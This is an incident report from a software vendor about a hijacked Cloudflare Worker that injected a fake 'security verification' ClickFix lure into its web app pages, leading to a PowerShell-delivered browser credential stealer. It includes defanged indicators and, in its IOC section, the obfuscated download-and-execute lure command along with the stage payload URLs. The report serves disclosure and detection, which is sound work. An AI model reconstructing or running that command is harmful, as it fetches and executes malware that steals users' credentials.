Technical report: malicious Cloudflare Worker on autocorrectforpc.com (1 to 18 October 2026)
Notice for security researchers & IT administrators:
All indicators of compromise are defanged ([.] is a dot, hxxp is http). Do not run any commands listed here. For the plain-language user advisory, see the Security Notice.
Version 3, last updated: 22 October 2026
Audience: security researchers and IT teams. A plain-language notice for users is on our website's security notice page.
All times are UTC. Indicators are defanged: [.] is a dot, hxxp is http. Do not run any command shown here.
1. Summary
On 1 October 2026, an unauthorized person logged in to the Cloudflare account in front of our website using a compromised password (two-factor authentication was not enabled) and created a Cloudflare Worker. The Worker had routes on our website domains and inserted an attacker-controlled script into HTML responses before the closing </body> tag.
On Windows desktop browsers, that script could display a fake "Performing security verification" overlay (a ClickFix lure) and place a PowerShell command on the clipboard, telling visitors to paste and run it. In the researcher's sandbox run, the command led to browser credential theft behaviour. Mac visitors were served a separate payload that has not been analysed.
An independent researcher, Adonis Sardiñas, found and analysed the problem on 18 October. We deleted the Worker and its routes the same day at about 16:48. The Worker was live for roughly 17 days.
Known: the script ran in visitors' browsers. People who followed the on-screen steps are at risk of credential theft.
Not yet known: how many people followed the steps, how the password was exposed, and which payload versions served earlier in the window.
2. Timeline
| Time (UTC) | Event |
|---|---|
| 1 Oct, 13:15:27 | Login to our Cloudflare account using the compromised password. |
| 1 Oct, 13:15:42 | A Worker and one Worker version created. |
| 1 Oct, 13:15:49 and 13:15:51 | Worker routes created on our two zones. |
| 16 Oct | Attacker payload domains selectivewilled[.]cc and bitfetch[.]cc registered (per the researcher). |
| 18 Oct, about 10:59 | A beta confirmation email reaches the researcher. |
| 18 Oct, about 11:00 | Researcher clicks the link; the fake box appears. |
| 18 Oct, 11:14 | First reports sent to our hosting registrar, FortiGuard and us. |
| 18 Oct, 11:20 | Researcher captures the page load (HAR). |
| 18 Oct, 11:21 | Sandbox detonation (ANY.RUN) shows browser credential theft behaviour. |
| 18 Oct, 11:49 to 11:52 | Follow-up reports to us, our registrar, Spaceship, jsDelivr and FortiGuard. |
| 18 Oct, 12:03 | Our registrar confirms action on both reports. |
| 18 Oct, about 16:48 | We delete the Worker and its routes. |
3. How the attacker got in
The Worker was created 15 seconds after a login to the account. The password was compromised and two-factor authentication was off, so the password alone was enough. We have not established how the password was exposed (reuse, a breach, malware on a device, or phishing). We will update this report when we know. We are also reviewing every account change from late September onward, not only the Worker.
4. The malicious Worker
We hold a copy of the Worker's code, captured before the Worker was deleted. The address of the smart contract it read is redacted in our copy and has not been recovered. Its behaviour, in order:
- Makes one read-only
eth_callto a public BNB Smart Chain testnet RPC server (bsc-testnet-rpc[.]publicnode[.]com) to read a base64 string from a smart contract. - Forwards the original request to our origin and receives the response.
- If the response has an HTML content type and the string was read, decodes it and inserts it as an inline
<script>immediately before</body>. Otherwise the response passes through unchanged.
Observations:
- No data capture. The code does not read request bodies, store anything, or contact any server other than the RPC host and our origin. This matches the roughly two subrequests per request seen in analytics (one RPC call, one origin fetch). We found no evidence that it copied data sent to our servers.
- No path filter. The script could be injected into any HTML response on any hostname proxied through Cloudflare, not only the confirmation page.
- Non-HTML responses were passed through unchanged by the Worker, so it did not alter app downloads, updates or model files in transit. We also checked the files stored behind our file-hosting subdomains and found no evidence that any of them were modified.
- Origin headers were likely dropped on injected pages. The Worker builds the new response by spreading the original
Headersobject, which copies nothing. The researcher's HAR is consistent with this: the page response carries only Cloudflare's own headers and atext/html;charset=UTF-8content type, with no origin cookies or cache headers. - The payload is on-chain and changeable. Anything served on a given day could differ from what was captured on 18 October.
The page markup appended before </body> was confirmed in the HAR as the last script on the page, after our own content, which also rules out browser extensions as the source.
5. Downstream chain (researcher's analysis)
- Loader. The injected script skips headless browsers, automation frameworks and local or private addresses (printing the marker string
stop watching us :)). Otherwise it selects a contract by operating system: one for Windows, one for macOS. Other systems receive nothing. It tries up to seven public testnet RPC hosts in turn. - Stage 1 (Windows). About 94 KB of JavaScript. It builds the "Performing security verification" overlay (using Font Awesome 5.0.0 CSS for icons), sets a cookie named
cjs_id(2 days) containing the visitor's public IP from an Avast IP-info endpoint (random UUID as fallback), loads Yandex Metrica counter 99162160 and fires a "Click" goal, polls a tracker contract about once a second (selector0x24513bb6plus the visitor id) to see whether the visitor already ran the command, and writes the PowerShell command to the clipboard. - Execution. The overlay tells the visitor to press Win+X, I, Ctrl+V, Enter. The command downloads a script from a GitHub account served through jsDelivr, using quote-splitting (
c"d"n,g"h") to evade string detection. - Stage 3. That script downloads
install.ps1from aselectivewilled[.]cchost and runs it in a second PowerShell with the execution policy bypassed. - Payload. In the sandbox,
rundll32launched with a browser-credential-theft signature and checked in toaudit[.]bitfetch[.]cc. The sandbox PCAP showed no other attacker hosts. The run is public: ANY.RUN task034205a0-c25c-428e-b6d2-e5daa98901d2.
macOS was not analysed. Mac visitors were sent to a separate contract. Campaigns of this type commonly deliver an infostealer through a Terminal paste lure, but that is an educated guess, not a finding.
6. Impact
- Which hostnames were exposed: only hostnames served through Cloudflare's proxy: the app and API subdomain (
client) and our file-hosting subdomains. Our public website (the apex domain andwww) is hosted separately, was not proxied, and was not affected. Our file-hosting subdomains served only files, not HTML pages. A second domain on the account was not in use and served no pages. - Who may have seen the box: Windows desktop visitors who loaded an HTML page on a proxied hostname between 1 and 18 October. Mac visitors received a separate payload that has not been analysed, so we treat them as potentially affected too. Phones and tablets were not targeted by the loader we analysed.
- Traffic: by Cloudflare's count, our analytics recorded 1,188 successful loads of the confirmation page between 1 and 18 October, from about 413 unique visitors: 886 loads from about 303 desktop visitors (Windows, Mac and possibly Linux), 289 loads from about 108 mobile visitors, and 13 loads from about 2 tablet visitors. The loader targeted Windows and Mac desktops, so the desktop figure is the group that could have seen the box; phones and tablets were not targeted. Among desktop visitors, 729 loads from 257 unique visitors were between 1 and 15 October, and 157 loads from 49 unique visitors were between 16 and 18 October (three visitors appear in both periods). Daily figures are aggregated, so the 18 October count includes loads after the Worker was removed at about 16:48. Only visitors from 16 October could have reached the payload chain the researcher captured; what earlier visitors saw is unknown. Only the Windows payload was confirmed to show the box. The box was confirmed on that page. About 107,000 further requests went to the root path of the
clienthostname. That path does not return HTML, so the Worker did not alter those responses. These figures include repeat visits and automated traffic. - Who may be compromised: only people who followed the on-screen steps. We do not know how many did, because the attacker's tracking services are outside our control. Antivirus may not have detected the chain, so a clean scan is not proof of safety.
- How long the chain existed: both attacker domains used in the chain the researcher captured were registered on 16 October, so that chain existed for two days at most before it was reported. What the Worker served between 1 and 16 October is unknown, so we treat the whole period from 1 to 18 October as the exposure window.
- Our data: the app collects email addresses and names. We found no evidence that the Worker copied data sent to our servers or that our database was accessed. We cannot rule out that a script running on a page could read information shown on that page, because the payload could change at any time and earlier versions are unknown.
7. Indicators of compromise (defanged)
| Type | Indicator |
|---|---|
| Affected pages | hxxps://client[.]autocorrectforpc[.]com/confirm-email/ (where the box was captured); any HTML response on hostnames proxied through Cloudflare (the app and API subdomain). The file-hosting subdomains served only files, and the apex domain and www were not proxied. |
| RPC host used by the Worker | bsc-testnet-rpc[.]publicnode[.]com |
| Contract, Windows payload (BSC testnet) | 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff |
| Contract, macOS payload (BSC testnet) | 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5 |
| Contract, victim tracker (BSC testnet) | 0xf4a32588b50a59a82fbA148d436081A48d80832A |
| Contract call selectors | 0x6d4ce63c (loader read), 0x24513bb6 (tracker poll) |
| RPC hosts used by the loader | data-seed-prebsc-1-s1[.]bnbchain[.]org, data-seed-prebsc-2-s1[.]binance[.]org and others on port 8545 |
| Stage 2 | See the long indicators below |
| GitHub account | werd19327 |
| Stage 3 | See the long indicators below |
| Check-in | hxxps://audit[.]bitfetch[.]cc/decide/ |
| Domains (registered 2026-10-16) | selectivewilled[.]cc, bitfetch[.]cc |
| Tracking | Yandex Metrica counter 99162160; cookie cjs_id |
| Loader marker string | stop watching us :) |
| Sandbox report (public) | ANY.RUN task 034205a0-c25c-428e-b6d2-e5daa98901d2 |
| Lure command (do not run) | See the long indicators below |
Some identifiers are attacker-chosen and are not well-formed GUIDs. Check any copy against the original captures.
Long indicators, one per line (copy from here, because table cells can wrap at hyphens):
`
Stage 2:
hxxps://cdn[.]jsdelivr[.]net/gh/werd19327/A33FA0a-3D04-45Ee-AD11-3026ed95372/A7Ea-EE73049399c
Stage 3:
hxxps://3d4ebf0-54a1-4844-bd7a-709370159964[.]selectivewilled[.]cc/install[.]ps1
Lure command (do not run):
IRM c"d"n[.]jsdelivr[.]net/g"h"/werd19327/A33FA0a-3D04-45Ee-AD11-3026ed95372/A7Ea-EE73049399c | IEX
`
8. Detection and hunting suggestions
- Network: browser POSTs to port 8545 on BNB testnet RPC hosts; the tracker poll produced thousands of failed requests to a single host. Also DNS or proxy hits for
selectivewilled[.]cc,bitfetch[.]cc, or the jsDelivr path above. - Endpoint (Windows): a PowerShell process started shortly after a browser visited the affected site;
rundll32spawned from PowerShell; script block log events mentioningjsdelivrorselectivewilled; and the PowerShell history file, which is usually at:
`
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```
Note that Win+X, I opens a terminal, not the Run dialog, so Run history is not the place to look. History files can be cleared.
- Web: fetch your own key pages with a real, non-headless browser and alert on unexpected inline scripts or requests to the hosts above. The loader skips headless browsers, so a clean automated scan is good evidence but not proof.
9. Response and changes
Done:
- Worker and routes deleted (18 October).
- Account secured with a new password and two-factor authentication.
- Users who received our beta confirmation link notified by email; public notice published.
- Two-factor authentication on every account used for the website and app, with hardware keys or passkeys where possible.
- Alerts for Worker, route, DNS, API token and member changes in Cloudflare.
- The wrong domain in the footer of our confirmation emails fixed.
- A Content Security Policy added. This helps, but note the limits: this Worker dropped origin headers, so a policy sent only from the origin would have been stripped, and an attacker who controls the edge can alter headers. A policy set in the page markup, or enforced in more than one place, is stronger. For example, a nonce-based policy in a
<meta>tag in the page head, withoutunsafe-inline, would have blocked this specific inline injection, because the Worker added its script after the head. Someone who controls the edge could still rewrite that tag, so treat it as one layer. - Review of the full account audit log from late September onward, and of all Workers, rules, tokens and DNS records.
10. Lessons
- An edge account without two-factor authentication is a single point of failure. A Worker on a wildcard route can modify every page without touching the origin, so origin logs and repository checks showed nothing wrong.
- Edge configuration needs the same review as code: list Workers, routes, Snippets and tokens regularly, and alert on changes.
- Put a reachable security contact on every domain. The first report to us bounced because of a wrong domain in an email footer.
- The on-chain payload stays live and reusable after the injection is removed, so detection and fast removal at the point of injection matter most.
11. MITRE ATT&CK mapping
T1078.004 Valid Accounts: Cloud Accounts; T1584.006 Compromise Infrastructure: Web Services; T1583.001 Acquire Infrastructure: Domains; T1608.001 Stage Capabilities: Upload Malware; T1608.004 Stage Capabilities: Drive-by Target; T1189 Drive-by Compromise; T1102.001 Web Service: Dead Drop Resolver; T1497.001 Virtualization/Sandbox Evasion: System Checks; T1027 Obfuscated Files or Information; T1027.010 Obfuscated Files or Information: Command Obfuscation; T1140 Deobfuscate/Decode Files or Information; T1204.004 User Execution: Malicious Copy and Paste; T1059.007 Command and Scripting Interpreter: JavaScript; T1059.001 Command and Scripting Interpreter: PowerShell; T1105 Ingress Tool Transfer; T1218.011 System Binary Proxy Execution: Rundll32; T1555.003 Credentials from Web Browsers; T1071.001 Application Layer Protocol: Web Protocols.
12. Open items
- How the Cloudflare password was exposed.
- When the on-chain payload first started serving the fake box, and earlier payload versions. Both attacker domains were registered on 16 October, so whatever ran between 1 and 16 October used other infrastructure or nothing yet. The write history of the contracts on a BNB testnet explorer should show this.
- Analysis of the macOS payload chain.
We will update this report as these are resolved.
13. External reports filed by the researcher (18 October)
Our domain registrar (two reports, with our domain framed as the victim); the registrar of the two attacker domains; GitHub (account werd19327); jsDelivr (stage 2 path); FortiGuard web filtering; Netcraft; Malwarebytes; urlscan; APWG; the UK NCSC; and a "Report this product" report on our Microsoft Store listing, stating that our website, not the app, had been compromised. We are contacting the registrar and Microsoft ourselves with our incident summary.
14. Credit
We thank Adonis Sardiñas, Cyber Security Researcher and Adjunct Professor, Jack D. Gordon Institute for Public Policy, Florida International University, who found this problem, analysed the attack chain, filed the external reports, and gave us detailed evidence and advice.
AutoCorrect PC Team
Questions or need assistance?
If you need guidance determining whether your system was affected or have questions regarding this incident, please email our support team directly. We never send email notices with file attachments or link shorteners.
Special recognition to Adonis Sardinas, Cyber Security Researcher and Professor of Cybersecurity at Florida International University, who identified this incident, performed rapid initial triage, and reported it through responsible disclosure channels.